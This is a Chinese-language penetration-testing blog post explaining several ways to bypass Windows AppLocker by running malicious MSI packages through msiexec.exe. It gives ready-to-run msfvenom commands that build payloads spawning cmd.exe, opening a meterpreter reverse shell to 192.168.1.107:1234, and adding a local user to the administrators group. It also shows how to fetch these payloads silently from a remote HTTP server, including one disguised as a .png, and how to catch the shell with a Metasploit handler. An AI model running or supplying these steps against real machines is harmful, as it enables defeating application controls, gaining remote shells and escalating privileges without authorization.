使用msiexec.exe绕过应用程序白名单(多种方法)

0x00 前言

在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们。但今天您将学习如何绕过AppLocker策略。在本文中,我们使用Windows AppLocker策略阻止了“cmd.exe”文件,并尝试绕过此限制以获得命令提示。

0x01 Applocker适用的关联文件格式

Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一种安全策略,用于限制不需要的程序的使用。在这种情况下,管理员可以限制以下程序的执行:

这完全取决于系统管理员,为程序限制或执行设置AppLocker策略的程序或脚本。可能会出现命令提示符(cmd.exe)、PowerShell或dll文件或批处理文件、rundll32.exe、regsrv.32或regasm等被阻止的情况

0x02 挑战1:使用.msi文件绕过Applocker获取CMD

假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

那么,您将如何使用一个msi文件来绕过这些限制并获得一个完整的权限shell呢?

1.关于MSI文件的更多信息

MSI名称来自程序的原始标题Microsoft Installer。从那以后,名称改为Windows Installer。MSI文件扩展名文件是Windows软件包安装程序。安装程序包包含Windows Installer安装或卸载应用程序所需的所有信息。每个安装包都包含一个.msi文件,其中包含安装数据库、摘要信息流和安装不同部分的数据流。

Windows Installer技术分为两部分,它们结合使用,包括客户端安装程序服务(msiexec.exe)和Microsoft软件安装(msi)包文件。Windows Installer使用包文件中包含的信息安装该程序。

msiexec.exe程序是Windows Installer的组件。当安装程序调用它时,msiexec.exe使用msi.dll读取包(.msi)文件,应用任何转换(.mst)文件,并合并安装程序提供的命令行选项。安装程序执行所有与安装相关的任务,包括将文件复制到硬盘、修改注册表、在桌面上创建快捷方式以及显示对话框,以便在必要时提示用户安装首选项。

在计算机上安装Windows Installer时,它会更改.msi文件的已注册文件类型,以便在双击.msi文件时,Msiexec.exe将与该文件一起运行。

每个MSI包文件都包含一个关系型数据库,该数据库存储在许多安装脚步中安装(和删除)程序所需的指令和数据。

2.获取CMD的多种方法

(1).第一种方法:使用msfvenom生成恶意.msi文件

现在,让我们在kali机器中打开一个新的终端,并生成一个恶意的msi包文件作为cmd.msi,通过使用windows/exec 执行exploit获得命令提示,如下所示:
msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
python -m SimpleHTTPServer 80

现在在Windows计算机中传输cmd.msi文件,以获得命令提示符shell作为管理员。这里我们使用了python http服务器来共享网络中的文件。

在本地计算机上下载.msi文件后,可以使用以下语法在命令提示符下运行带有msiexec.exe的msi文件。

语法:msiexec /quiet /i

msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi

只要你在运行提示符中点击上述命令,就会得到命令提示符。

 

(2).第二种方法:使用msfvenom生成恶意.msi文件

注意:即使您在另一个扩展名中重命名cmd.msi文件,它也会绕过该规则。

重复以上步骤,生成一个与msfvenom具有相同payload、并命名为cmd.png的msi文件。因为我的kali中已经有了一个cmd.msi文件,所以我将它重命名为cmd.png,并使用python服务器来传输它

在本地计算机(管理员阻止cmd.exe的Windows操作系统)上下载cmd.png文件(实际上是.msi文件)后,就可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

语法: msiexec /q /i

msiexec /q /i http://192.168.1.107/cmd.png

只要你在运行提示符中点击上述命令,就会得到命令提示符。

(3).第三种方法:使用msfvenom生成恶意.msi文件

在上述方法中,我们通过使用windows/exec payload获得命令提示符,但现在我们将使用windows/meterpreter/reverse_tcp payload通过meterpreter会话获得完全权限的命令shell。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 –f msi > shell.msi

现在再次在Windows计算机中传输shell.msi文件,以获得命令提示符shell作为管理员并启动multi/handler。这里我们使用了python http服务器来共享网络中的文件。

在本地计算机上下载了shell.msi文件(管理员阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

语法: msiexec /q /i

msiexec /q /i http://192.168.1.107/shell.msi

只要您在运行提示符中点击上述命令,您将通过使用此payload的meterpreter会话获得命令提示。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
meterpreter > shell

0x03 挑战2:使管理员组的本地用户成员

假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

那么如何使用MSI文件绕过这些限制,使管理员组的本地用户成员阻止cmd.exe运行?

注意:aaru是本地用户帐户,不是非管理员用户帐户,如下所示:

我们知道由于applocker执行规则策略,cmd.exe在本地计算机上被阻止,因此我们无法使用命令提示符在管理员组中添加aaru。

(1).第四种方法:使用msfvenom生成恶意.msi文件

使用Windows/Exec payload生成MSI包作为admin.msi,该payload发送一条命令,指示将用户aaru的本地管理员权限添加到目标计算机中。

msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi

现在,在Windows计算机中传输admin.msi文件以将aaru添加到管理员组中。这里我们使用了python http服务器来共享网络中的文件。

下载完本地计算机的admin.msi文件(其中,admin阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内运行带有msiexec.exe的admin.msi文件

语法:msiexec /q /i

msiexec /q /i http://192.168.1.107/admin.msi

只要您在运行提示符中点击上述命令,就可以确保aaru用户已成为管理员帐户的一部分。

本文中我们将了解到,如何使用.msi文件来绕过操作系统策略限制而执行,在该系统中,cmd.exe和其他应用程序被管理员阻止。

参考文献:

https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology

https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

posted @ 2019-03-08 09:21  渗透测试中心  阅读(2542)  评论(0编辑  收藏  举报